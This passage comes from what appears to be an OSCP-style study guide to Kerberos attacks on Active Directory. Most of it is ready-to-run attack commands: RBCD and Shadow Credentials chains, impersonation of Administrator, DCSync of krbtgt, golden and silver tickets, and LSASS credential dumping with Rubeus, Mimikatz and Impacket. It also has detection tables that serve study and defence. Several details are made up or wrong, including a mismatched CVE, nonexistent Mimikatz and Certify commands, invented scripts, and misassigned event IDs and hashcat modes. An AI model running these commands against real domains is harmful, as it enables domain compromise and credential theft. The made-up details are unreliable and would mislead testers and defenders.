$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$SID,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow,
[System.Guid]::NewGuid()
)
# Apply to target
Set-ADComputer TargetDC -Add @{"msDS-AllowedToActOnBehalfOfOtherIdentity" = $ACE}
# Method 2: Impacket rbcd.py (simplest — recommended)
python3 rbcd.py domain.com/user:password `
-action write `
-delegate-on TargetDC `
-delegate-from ATTACKERPC `
-dc-ip 10.10.10.10
# Method 3: BloodHound Py (if available)
# BloodHound can identify RBCD opportunities and sometimes exploit them
Parameter breakdown for rbcd.py:
-action write— Write RBCD relationship-action read— Read current RBCD configuration-action remove— Remove RBCD relationship-delegate-on <target>— Target computer to delegate TO-delegate-from <source>— Source computer that can delegate-dc-ip <ip>— Domain Controller IP
Phase 3: Exploit the Delegation
# Impacket getST.py — Full S4U chain from Linux
python3 getST.py domain.com/ATTACKERPC$:Password123! `
-spn cifs/TargetDC.domain.com `
-impersonate Administrator `
-dc-ip 10.10.10.10
# Inject the ticket
export KRB5CCNAME=Administrator.ccache
# Access the target
python3 psexec.py -k -no-pass TargetDC.domain.com
# Or access SMB share
python3 smbclient.py -k TargetDC.domain.com\
# DCSync as the impersonated Administrator
python3 secretsdump.py -k -no-pass TargetDC.domain.com
From Windows (Rubeus):
# Authenticate as the computer account
Rubeus.exe asktgt /user:ATTACKERPC$ /rc4:<computer_hash> /domain:domain.com /ptt
# S4U attack
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:<computer_hash> `
/impersonateuser:Administrator `
/msdsspn:cifs/TargetDC.domain.com `
/domain:domain.com /ptt
# Access the target
dir \\TargetDC.domain.com\C$
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event 5136 (Directory Service Changes) | Monitor for modifications to msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This is the most direct detection method. |
| New computer account creation | Alert on new computer accounts, especially when followed by RBCD attribute changes. |
| S4U from computer accounts | Computer accounts performing S4U2Self/S4U2Proxy is unusual and should be monitored. |
| Correlation: Computer creation + RBCD write + S4U | The three-step pattern is distinctive and highly indicative of RBCD abuse. |
| Mitigation Strategy | Implementation |
|---|---|
| Reduce ms-DS-MachineAccountQuota | Set to 0 via GPO to prevent users from creating computer accounts: Set-ADDefaultDomainPasswordQuality or direct attribute modification |
| Restrict RBCD attribute writes | Use GPO to remove WriteProperty from Authenticated Users on computer objects |
| ACL auditing on critical objects | Enable SACL on Domain Controllers and high-value servers |
| Regular RBCD audits | Periodically review msDS-AllowedToActOnBehalfOfOtherIdentity on all computer objects |
| BloodHound detection | Use BloodHound to identify RBCD attack paths and remediate them |
OSCP Exam Relevance
High Priority — RBCD is one of the hottest AD attack vectors. It’s increasingly appearing in OSCP-style labs and is a must-know technique.
What examiners expect you to know:
- That any domain user can create a computer account (by default)
- The
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - How to use Impacket’s
rbcd.pyandgetST.pytogether - That RBCD on a DC = full domain compromise
Lab Practice Suggestions
- Create a computer account in the lab domain
- Use
rbcd.pyto set RBCD on a target machine - Use
getST.pyto impersonate a high-privilege user - Practice the full chain: create → set RBCD → S4U → exploit
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| rbcd.py “Insufficient access” | You don’t have WriteProperty on the target computer. Try a different target or escalate privileges first. |
| getST.py fails after RBCD set | Verify the computer account password. Computer accounts use a special auth format: COMPUTERNAME$. |
| S4U2Proxy rejected | Ensure the SPN format matches exactly: cifs/FQDN.of.target.com (use FQDN, not short name). |
| Can’t create computer account | ms-DS-MachineAccountQuota may be set to 0. Check with `Get-ADDomain |
2.10 Shadow Credentials
Vulnerability Explanation
Shadow Credentials (CVE-2021-42287 / MS-DS-ENCRYPTEDPASSWORD abuse) is a relatively recent attack vector that exploits Windows 10 1809+ and Windows Server 2019+ credential descriptor functionality.
How Credential Descriptors Work (Normal Operation):
Microsoft introduced on-premises federated authentication allowing users to sign in with FIDO2 security keys, Windows Hello for Business, and other modern auth methods. The mechanism:
- A credential descriptor (containing a public key) is stored on an AD account in the
msDS-KeyCredentialLinkattribute - The corresponding private key is stored on the user’s device
- During authentication, the KDC verifies the signature using the public key
- If valid, the KDC issues a TGT — no password needed
The Vulnerability:
Any account with WriteProperty (or GenericWrite / GenericAll) access to a target AD object can:
- Add a credential descriptor with their own public key to the target account
- Use the corresponding private key (which they control) to authenticate as the target account
- The KDC issues a legitimate TGT for the target account
Why This Is Particularly Dangerous:
- Works against ANY account type: users, computers, even domain trusts
- Computer accounts are prime targets: By default,
Authenticated UsershaveWritePropertyon computer objects they created (and often on all computer objects) - Bypasses password policies: No password cracking needed — the attacker creates their own auth mechanism
- Extremely stealthy: Generates legitimate-looking Kerberos authentication events
- No special tools needed on the target: The attack is performed entirely from the attacker’s machine
The Attack in Simple Terms:
“I can write to your AD account → I add my public key to your account → I authenticate with my private key → I become you.”
Prerequisites
| Requirement | Details |
|---|---|
| WriteProperty access | On the target account (user, computer, or trust) |
| GenericWrite or GenericAll | Also sufficient (these imply WriteProperty) |
| Target OS support | Domain Controller must run Windows Server 2019+ or the feature must be enabled |
| No domain admin needed | Default computer ACLs often suffice |
Attack Flow
sequenceDiagram
participant Attacker
participant AD
participant KDC
Note over Attacker: Phase 1: Recon
Attacker->>AD: 1. Find accounts I can write to<br/>(WriteProperty / GenericWrite)
AD-->>Attacker: 1. Target: TARGETPC$ (computer account)
Note over Attacker: Phase 2: Plant Shadow Credential
Attacker->>Attacker: 2. Generate key pair<br/>(public + private key)
Attacker->>AD: 3. Add public key as credential descriptor<br/>to msDS-KeyCredentialLink on TARGETPC$
AD-->>Attacker: 3. Credential descriptor added
Note over Attacker: Phase 3: Authenticate
Attacker->>KDC: 4. Authenticate as TARGETPC$<br/>using private key (certificate-based)
KDC-->>Attacker: 5. Issue TGT for TARGETPC$
Note over Attacker: 6. Full access as TARGETPC$
Note over Attacker: Phase 4: Escalate
Attacker->>AD: 7. If TARGETPC$ has valuable ACLs,<br/>use for further attacks (e.g., RBCD, DCSync)
Step-by-Step Exploitation
Phase 1: Find Targetable Accounts
# Method 1: BloodHound
# Query: Find computer accounts where Authenticated Users have WriteProperty
# :INBOUND(Membership)-[:HasSession]->( {groups:"Authenticated Users"} )
# Method 2: PowerView
Get-NetComputer | ForEach-Object {
$Acl = Get-Acl "AD:$($_.DistinguishedName)"
$Acl.Access | Where-Object {
$_.IdentityReference -like "*Authenticated Users*" -and
($_.AccessControlType -eq "Allow") -and
($_.ActiveDirectoryRights -match "WriteProperty" -or
$_.ActiveDirectoryRights -match "GenericAll" -or
$_.ActiveDirectoryRights -match "GenericWrite")
}
}
# Method 3: Certify
Certify.exe find /shadowauto
Phase 2: Create and Exploit Shadow Credentials
Method 1: Mimikatz (Full Chain)
# Step 1: Create shadow credential on a computer account
# /create = Create the credential descriptor
# /nuser = Target account (computer account)
# /domain = Target domain
lsadep::shadow /create /nuser:TARGETPC$ /domain:domain.com
# Output shows the generated key pair information
# The private key is kept in memory for the next step
# Step 2: Connect and authenticate using the shadow credential
# This requests a TGT for the target account
lsadep::shadow /connect:targetpc.domain.com /nuser:TARGETPC$
# Step 3: Use the obtained TGT for further attacks
# DCSync if the computer account has replication rights
lsadump::dcsync /user:domain\krbtgt /domain:domain.com
# Or access resources as the computer account
dir \\targetpc.domain.com\C$
Method 2: Certify + Rubeus
# Step 1: Create shadow credential
# /shadowauto = Automatic mode (finds target, creates credential, authenticates)
Certify.exe shadow auto /target:TARGETPC$
# Manual mode:
Certify.exe shadow create /target:TARGETPC$
# Step 2: Request TGT using the private key
# Certify outputs a .pfx file with the private key
Rubeus.exe asktgt /user:TARGETPC$ /certificate:shadow_cred.pfx /domain:domain.com /ptt
# Step 3: Use the ticket
klist
dir \\targetpc.domain.com\C$
Method 3: Impacket (from Linux)
# Using the shadow credentials script
python3 shadowcoerce.py domain.com/user:password -target TARGETPC$
# Alternative: Manual key generation and authentication
# Step 1: Generate key pair and add to AD
python3 addkeycred.py domain.com/user:password -target TARGETPC$
# Step 2: Authenticate using the private key
python3 getTGT.py domain.com -spn crtd/domain.com -key-file private_key.pem
# Step 3: Use the TGT
export KRB5CCNAME=TARGETPC$.ccache
python3 psexec.py -k -no-pass targetpc.domain.com
Phase 3: Post-Exploitation
# After obtaining TGT as the computer account:
# Option 1: DCSync (if computer has replication rights)
lsadump::dcsync /user:domain\krbtgt
# Option 2: RBCD — Use the computer account for Resource-Based Delegation
# Set RBCD on a DC using this computer account
python3 rbcd.py -action write -delegate-on DC01 -delegate-from TARGETPC
# Option 3: ACL manipulation — Use computer account permissions
# to modify other objects
# Option 4: Lateral movement — Access resources the computer account can reach
dir \\fileserver.domain.com\shared$
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event 5136 (Directory Service Changes) | Monitor for writes to msDS-KeyCredentialLink attribute. Any modification should be audited. |
| New credential descriptors | Alert on new msDS-KeyCredentialLink values on any account, especially computer accounts. |
| Certificate-based auth from computer accounts | Computer accounts normally don’t use certificate authentication. Alert on this pattern. |
| Correlation: ACL write + cert auth | WriteProperty followed by certificate-based Kerberos auth from the same source is highly suspicious. |
| Mitigation Strategy | Implementation |
|---|---|
| Remove WriteProperty from Authenticated Users | Set-ComputerACL or GPO to restrict property writes on computer objects |
| Restrict credential descriptor creation | GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Public Key Policies |
| Audit msDS-KeyCredentialLink | Enable SACL on critical objects for msDS-KeyCredentialLink modifications |
| Regular ACL audits | Use BloodHound or custom scripts to identify accounts with dangerous ACL combinations |
| Disable on-prem federated auth if unused | If your environment doesn’t use FIDO2/Windows Hello, disable the feature |
OSCP Exam Relevance
Medium-High Priority — Shadow Credentials is a newer attack but increasingly relevant. May appear in advanced AD scenarios, especially those involving computer account ACL abuse.
Lab Practice Suggestions
- Find a computer account you can write to in the lab
- Use Mimikatz
lsadep::shadowto create and exploit shadow credentials - Practice the full chain: create descriptor → authenticate → escalate
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| lsadep::shadow fails with “Not supported” | The Domain Controller may not support credential descriptors (pre-Server 2019). Check DC OS version. |
| Certify shadow auto finds no targets | Your account may not have WriteProperty on any computer objects. Try escalating privileges first. |
| TGT obtained but can’t access resources | The computer account may not have permissions on the target resource. Check what the computer account can actually access. |
| Private key not retained between Mimikatz commands | Run /create and /connect in the same Mimikatz session. The private key is held in memory. |
2.11 Kerberos Delegation Summary Table
Complete Attack Comparison
| Attack Type | Required Access | Target | Key Attribute / Flag | Impact | Tools | Hashcat Mode |
|---|---|---|---|---|---|---|
| Kerberoasting | Any domain user | Service accounts with SPNs | servicePrincipalName |
Offline crack of service password | Rubeus, Impacket, PowerView | 13100 (RC4), 19600 (AES) |
| AS-REP Roasting | No credentials | Accounts without pre-auth | UF_DONT_REQUIRE_PREAUTH (0x400000) |
Offline crack of user password | Rubeus, GetNPUsers, Kerbrute | 18200 (RC4), 19100/19200 (AES) |
| Silver Ticket | Service account NTLM hash | Specific service | Service account hash + Domain SID | Access to one service as any user | Mimikatz, Rubeus | N/A (offline forgery) |
| Gold Ticket | krbtgt NTLM hash | Any service in domain | krbtgt hash + Domain SID | Full domain compromise | Mimikatz, Rubeus | N/A (offline forgery) |
| Unconstrained Delegation | Compromise delegated machine | Any authenticating user’s TGT | TRUSTED_FOR_DELEGATION (0x80000) |
Access as any user who authenticated | Mimikatz, Rubeus | N/A (ticket extraction) |
| Constrained Delegation | Compromised service account | Allowed SPNs only | msDS-AllowedToDelegateTo |
Impersonate any user to allowed services | Mimikatz, Rubeus, Impacket | N/A (S4U protocol) |
| RBCD | Write to target’s RBCD attr | Target computer | msDS-AllowedToActOnBehalfOfOtherIdentity |
Impersonate any user to target | rbcd.py, getST.py | N/A (S4U protocol) |
| Shadow Credentials | WriteProperty on target | Target account | msDS-KeyCredentialLink |
Full access as target account | Mimikatz, Certify | N/A (cert-based auth) |
Decision Tree — Which Attack to Use?
graph TD
A[What do you have?] -->|Any domain user| B[Can enumerate SPNs?]
A -->|Service account hash| C[Silver Ticket]
A -->|krbtgt hash| D[Gold Ticket]
A -->|WriteProperty on computer| E[Shadow Credentials]
A -->|Write to RBCD attr| F[RBCD]
A -->|Compromised delegated machine| G[Unconstrained Delegation]
A -->|Service account with delegation| H[Constrained Delegation / S4U]
B -->|Yes| I[Kerberoasting]
B -->|No / Want user accounts| J[AS-REP Roasting]
C --> K[Forge TGS for specific service]
D --> L[Forge TGT for full domain]
E --> M[Add public key → auth as target]
F --> N[Create computer → set RBCD → S4U]
G --> O[Dump LSASS → extract TGTs]
H --> P[S4U2Self + S4U2Proxy]
I --> Q[Crack with Hashcat mode 13100]
J --> R[Crack with Hashcat mode 18200]
Quick Reference — Hashcat Modes for Kerberos
| Attack | Hash Prefix | Hashcat Mode | Algorithm |
|---|---|---|---|
| Kerberoasting (RC4) | $krb5tgs$23$ |
13100 | RC4-HMAC |
| Kerberoasting (AES) | $krb5tgs$17$ / $krb5tgs$18$ |
19600 | AES128/AES256 |
| AS-REP Roast (RC4) | $krb5asrep$23$ |
18200 | RC4-HMAC |
| AS-REP Roast (AES128) | $krb5asrep$17$ |
19100 | AES128 |
| AS-REP Roast (AES256) | $krb5asrep$18$ |
19200 | AES256 |
| TGT (RC4) | $krb5tgs$23$ |
7500 | RC4-HMAC |
| TGT (AES128) | $krb5tgs$17$ |
7600 | AES128 |
| TGT (AES256) | $krb5tgs$18$ |
7700 | AES256 |
User Account Control Flags Reference
| Flag | Hex Value | Decimal | Description | Relevant Attack |
|---|---|---|---|---|
UF_DONT_REQUIRE_PREAUTH |
0x400000 | 4,194,304 | Pre-authentication disabled | AS-REP Roasting |
TRUSTED_FOR_DELEGATION |
0x80000 | 524,288 | Unconstrained delegation | Unconstrained Delegation |
TRUSTED_TO_AUTH_FOR_DELEGATION |
0x1000000 | 16,777,216 | Constrained delegation (protocol transition) | Constrained Delegation |
TRUSTED_FOR_DELEGATION + TRUSTED_TO_AUTH_FOR_DELEGATION |
0x1080000 | 17,301,504 | Both flags set | Constrained Delegation with Protocol Transition |
Appendix A: Tool Quick Reference
Rubeus Common Commands
# Status / Connection
Rubeus.exe status
Rubeus.exe status /user:username /password:password /domain:domain.com
# Kerberoasting
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /outfile:tickets.hash
Rubeus.exe kerberoast /spn:MSSQLSvc/sql.domain.com:1433
# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hash
# Delegation Enumeration
Rubeus.exe delegate /nowrap
# Ticket Operations
Rubeus.exe triage # List all tickets
Rubeus.exe dump /ticket:<id> # Dump specific ticket
Rubeus.exe dump /service:krbtgt # Dump all TGTs
Rubeus.exe ptt /ticket:file.kirbi # Pass the Ticket
# S4U Attacks
Rubeus.exe s4u /user:svc /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target /ptt
# TGT Requests
Rubeus.exe asktgt /user:admin /rc4:HASH /domain:domain.com /ptt
# Gold Ticket
Rubeus.exe golden /user:admin /rc4:KRBTGT_HASH /sid:DOMAIN_SID /domain:domain.com /ptt
# Silver Ticket
Rubeus.exe tgs /rc4:SVC_HASH /service:cifs /target:fileserver.domain.com /ptt
Mimikatz Common Commands
# Privilege
privilege::debug
# Kerberos
kerberos::list # List tickets
kerberos::ptt ticket.kirbi # Pass the Ticket
kerberos::tickets /export # Export all tickets
kerberos::s4u /user:admin@domain.com /service:cifs/target # S4U attack
# Gold Ticket
kerberos::golden /user:admin /sid:SID /rc4:KRBTGT_HASH /krbtgt /domain:domain.com /id:500 /ptt
# Silver Ticket
kerberos::golden /sid:SID /rc4:SVC_HASH /target:host.domain.com /service:cifs /user:admin /domain:domain.com /ptt
# LSASS
sekurlsa::logonpasswords # Dump all credentials
sekurlsa::tickets /export # Export all Kerberos tickets
sekurlsa::pth /user:admin /domain:domain.com /ntlm:HASH /run:cmd.exe
# DCSync
lsadump::dcsync /user:domain\krbtgt
# Shadow Credentials
lsadep::shadow /create /nuser:TARGETPC$ /domain:domain.com
lsadep::shadow /connect:targetpc.domain.com /nuser:TARGETPC$
Impacket Common Commands
# Kerberoasting
python3 GetUserSPNs.py domain.com/user:pass -request -format hashcat -dc-ip 10.10.10.10
# AS-REP Roasting
python3 GetNPUsers.py domain.com/ -no-pass -format hashcat -dc-ip 10.10.10.10
# S4U / Delegation
python3 getST.py domain.com/svc:pass -spn cifs/target.domain.com -impersonate admin -dc-ip 10.10.10.10
# RBCD
python3 rbcd.py domain.com/user:pass -action write -delegate-on DC01 -delegate-from ATTACKERPC -dc-ip 10.10.10.10
# Computer Creation
python3 addcomputer.py domain.com/user:pass -computer-name ATTACKERPC -computer-pass Pass123! -dc-ip 10.10.10.10
# DCSync
python3 secretsdump.py domain.com/admin:pass@10.10.10.10 -just-dc-user krbtgt
# Ticket-based access
export KRB5CCNAME=admin.ccache
python3 psexec.py -k -no-pass target.domain.com
python3 smbclient.py -k target.domain.com\
Appendix B: Kerberos Event IDs Reference
| Event ID | Name | Description | Relevance to Attacks |
|---|---|---|---|
| 4768 | Kerberos TGT issued | AS-REP event — TGT requested | AS-REP Roasting detection, Overpass-the-Hash detection |
| 4769 | Kerberos TGS ticket requested | TGS-REP event — service ticket requested | Kerberoasting detection, Silver/Gold ticket anomalies |
| 4771 | Kerberos pre-auth failed | Failed pre-authentication attempt | Password spraying detection |
| 4772 | Kerberos key blocked | Account restriction mode blocked ticket | Kerberos ARM detection |
| 4773 | Resource-based constrained delegation | RBCD attribute modified | RBCD attack detection |
| 4774 | An attempt was made to create a ticket | Ticket creation attempt | General Kerberos monitoring |
| 4775 | An attempt was made to renew a ticket | Ticket renewal | Ticket lifetime monitoring |
| 4776 | NTLM authentication event | NTLM auth (not Kerberos) | NTLM vs Kerberos detection |
| 5136 | Directory Service Object Modified | AD object attribute changed | Shadow Credentials, RBCD detection |
| 4624 | Logon event | Successful logon | Logon Type 9/10 = network/clear-text (ticket forwarding) |
| 4625 | Logon failure | Failed logon | Brute force / spraying detection |